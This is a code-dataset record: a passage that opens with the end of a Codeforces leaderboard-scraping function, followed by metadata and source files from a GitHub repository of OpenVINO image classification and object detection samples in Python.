update_leaderboard(id):\n global users\n df_prob = pd.read_csv('contests/problems-contest'+str(id)+'.csv')\n df_lead = pd.read_csv('contests/leaderboard'+str(id)+'.csv')\n\n for idxu, ru in df_lead.iterrows():\n user = ru['User']\n URL = 'https://codeforces.com/submissions/' + user\n page = requests.get(URL)\n soup = BeautifulSoup(page.content, 'html.parser')\n submissions = soup.find_all('tr')\n ac = []\n for submission in submissions:\n data = submission.find_all('td')\n try:\n url = data[3].find('a')['href'].split('/')\n verdict = data[5].text\n #print(url, repr(verdict))\n if 'Accepted' in verdict:\n ac.append('/'+url[2]+'/'+url[-1])\n except:\n continue\n \n j = 0\n for idx, row in df_prob.iterrows():\n j += 1\n link = row['link']\n for pid in ac:\n if pid in link:\n df_lead.at[idxu,str(j)] = 1\n\n df_lead.to_csv('contests/leaderboard'+str(id)+'.csv',index = False)\n # print_leaderboard(id, 'table.png')\n return df_lead\n\n\n\n" } ]
4
Dorencon/Classification-and-detection
https://github.com/Dorencon/Classification-and-detection
eaf7d43c5828d96c8032180d7c8c9286e3ceffe0
412428a5774b2bbe6b33b3d6038ac92b73adb28f
c5f1a853616a5956f1ae584f8db2a6dc621f406e
refs/heads/master
2022-12-29T18:37:21.427583
2020-10-24T17:50:55
2020-10-24T17:50:55
306,938,099
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5827715396881104, "alphanum_fraction": 0.594756543636322, "avg_line_length": 39.48484802246094, "blob_id": "ed9c757d8960ffd26c0e46703abd442c841d58f6", "content_id": "b8a7b6bce00812ed46f9c4787f7451db04fcfaeb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1335, "license_type": "permissive", "max_line_length": 115, "num_lines": 33, "path": "/ie_classifier.py", "repo_name": "Dorencon/Classification-and-detection", "src_encoding": "UTF-8", "text": "from openvino.inference_engine import IECore\nimport cv2\nimport numpy as np\n\nclass InferenceEngineClassifier:\n def __init__(self, configPath = None, weightsPath = None, device = None, extension = None, classesPath = None):\n IEc = IECore()\n if (extension and device == \"CPU\"):\n IEc.add_extension(extension, device)\n self.net = IEc.read_network(configPath, weightsPath)\n self.exec_net = IEc.load_network(self.net, device_name=device)\n with open(classesPath, 'r') as f:\n self.classes = [i.strip() for i in f]\n def _prepare_image(self, image, h, w):\n image = cv2.resize(image, (w, h))\n image = image.transpose((2, 0, 1))\n return image\n def classify(self, image):\n input_blob = next(iter(self.net.inputs))\n out_blob = next(iter(self.net.outputs))\n n, c, h, w = self.net.inputs[input_blob].shape\n image = self._prepare_image(image, h, w)\n output = self.exec_net.infer(inputs={input_blob: image})\n output = output[out_blob]\n return output\n def get_top(self, prob, topN = 1):\n prob = np.squeeze(prob)\n top = np.argsort(prob)\n out = []\n for i in top[1000 - topN:1000]:\n out.append([self.classes[i], '{:.15f}'.format(prob[i])])\n out.reverse()\n return out" }, { "alpha_fraction": 0.6456211805343628, "alphanum_fraction": 0.6476578116416931, "avg_line_length": 37.78947448730469, "blob_id": "4f39844b19dcd6e52528355bd40cba666f685a33", "content_id": "42905854c2aa82c6f8efc2a23c5d6e7da0c5b3de", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1473, "license_type": "permissive", "max_line_length": 79, "num_lines": 38, "path": "/classification_sample.py", "repo_name": "Dorencon/Classification-and-detection", "src_encoding": "UTF-8", "text": "import ie_classifier as ic\nimport argparse\nimport logging as log\nimport sys\nimport cv2\n\ndef build_argparser():\n parser = argparse.ArgumentParser()\n parser.add_argument('-m', '--model', help='Path to an .xml \\\n file with a trained model.', required=True, type=str)\n parser.add_argument('-w', '--weights', help='Path to an .bin file \\\n with a trained weights.', required=True, type=str)\n parser.add_argument('-i', '--input', help='Path to \\\n image file', required=True, type=str)\n parser.add_argument('-c', '--classes', help='File containing \\\n classnames', type=str, default=None)\n parser.add_argument('-d', '--device', help='Device name',\n default = \"CPU\", type = str)\n parser.add_argument('-e', '--cpu_extension', help='For custom',\n default = None, type = str)\n return parser\n\ndef main():\n log.basicConfig(format=\"[ %(levelname)s ] %(message)s\",\n level=log.INFO, stream=sys.stdout)\n args = build_argparser().parse_args()\n log.info(\"Start IE classification sample\")\n ie_classifier = ic.InferenceEngineClassifier(configPath=args.model,\n weightsPath=args.weights, device=args.device, extension=args.cpu_extension,\n classesPath=args.classes)\n img = cv2.imread(args.input)\n prob = ie_classifier.classify(img)\n predictions = ie_classifier.get_top(prob, 5)\n log.info(\"Predictions: \" + str(predictions))\n return\n\nif __name__ == '__main__':\n sys.exit(main())" }, { "alpha_fraction": 0.49207136034965515, "alphanum_fraction": 0.5118929743766785, "avg_line_length": 47.07143020629883, "blob_id": "f398c64f4477fc711e5d226563fa37b9999877ec", "content_id": "560245b0b824c43969a325e23372dc0e61768176", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2018, "license_type": "permissive", "max_line_length": 90, "num_lines": 42, "path": "/ie_detector.py", "repo_name": "Dorencon/Classification-and-detection", "src_encoding": "UTF-8", "text": "from openvino.inference_engine import IECore\nimport cv2\nimport numpy as np\n\nclass InferenceEngineDetector:\n def __init__(self, configPath = None, weightsPath = None,\n device = None, extension = None, classesPath = None):\n IEc = IECore()\n if (extension and device == 'CPU'):\n IEc.add_extension(extension, device)\n self.net = IEc.read_network(configPath, weightsPath)\n self.exec_net = IEc.load_network(self.net, device_name = device)\n with open(classesPath, 'r') as f:\n self.classes = [i.strip() for i in f]\n def _prepare_image(self, image, h, w):\n image = cv2.resize(image, (w, h))\n image = image.transpose((2, 0, 1))\n return image\n def detect(self, image):\n input_blob = next(iter(self.net.inputs))\n output_blob = next(iter(self.net.outputs))\n n, c, h, w = self.net.inputs[input_blob].shape\n image = self._prepare_image(image, h, w)\n output = self.exec_net.infer(inputs={input_blob: image})\n output = output[output_blob]\n return output\n def draw_detection(self, detections, image, confidence = 0.5, draw_text = True):\n detections = np.squeeze(detections)\n h, w, c = image.shape\n for classdet in detections:\n if (classdet[2] > confidence):\n image = cv2.rectangle(image, (int(classdet[3] * w), int(classdet[4] * h)),\n (int(classdet[5] * w), int(classdet[6] * h)),\n (0, 255, 0), 1)\n if (draw_text):\n image = cv2.putText(image,\n self.classes[int(classdet[1])]\n + ' ' + str('{:.2f}'.format(classdet[2] * 100)) + '%',\n (int(classdet[3] * w - 5), int(classdet[4] * h - 5)),\n cv2.FONT_HERSHEY_SIMPLEX, 0.45,\n (0, 0, 255), 1)\n return image" }, { "alpha_fraction": 0.8374999761581421, "alphanum_fraction": 0.8374999761581421, "avg_line_length": 39, "blob_id": "767a7f5e5d1850807ee68283610c1a9671d75264", "content_id": "1a63aa00812237a4dd54b80e7e9a911aa3145625", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 80, "license_type": "permissive", "max_line_length": 48, "num_lines": 2, "path": "/README.md", "repo_name": "Dorencon/Classification-and-detection", "src_encoding": "UTF-8", "text": "# Classification-and-detection\nSamples for classify and detect objects on image\n" }, { "alpha_fraction": 0.5664372444152832, "alphanum_fraction": 0.5696135759353638, "avg_line_length": 41.95454406738281, "blob_id": "df554813b5715f5c65379879972ba9c4887de97a", "content_id": "aad51ccdf38d56be70bb231de1f6b4cc897b29ff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1889, "license_type": "permissive", "max_line_length": 91, "num_lines": 44, "path": "/detection_sample.py", "repo_name": "Dorencon/Classification-and-detection", "src_encoding": "UTF-8", "text": "import ie_detector as id\nimport logging as log\nimport cv2\nimport argparse\nimport sys\n\ndef build_argparser():\n parser = argparse.ArgumentParser()\n parser.add_argument('-m', '--model', help = 'Path to an .xml \\\n file with a trained model.', required = True, type = str)\n parser.add_argument('-w', '--weights', help = 'Path to an .bin file \\\n with a trained weights.', required = True, type = str)\n parser.add_argument('-i', '--input', help = 'Path to \\\n image file.', required = True, type = str)\n parser.add_argument('-d', '--device', help = 'Device name',\n default='CPU', type = str)\n parser.add_argument('-l', '--cpu_extension',\n help = 'MKLDNN (CPU)-targeted custom layers. \\\n Absolute path to a shared library with the kernels implementation',\n type = str, default=None)\n parser.add_argument('-c', '--classes', help = 'File containing \\\n classnames', type = str, default=None)\n return parser\n\ndef main():\n log.basicConfig(format=\"[ %(levelname)s ] %(message)s\",\n level=log.INFO, stream=sys.stdout)\n args = build_argparser().parse_args()\n log.info(\"Start IE detection sample\")\n ie_detector = id.InferenceEngineDetector(configPath=args.model,\n weightsPath=args.weights,\n device=args.device,\n extension=args.cpu_extension,\n classesPath=args.classes)\n img = cv2.imread(args.input)\n detections = ie_detector.detect(img)\n image_detected = ie_detector.draw_detection(detections, img)\n cv2.imshow('Image with detections', image_detected)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n return\n\nif (__name__ == '__main__'):\n sys.exit(main())" } ]
5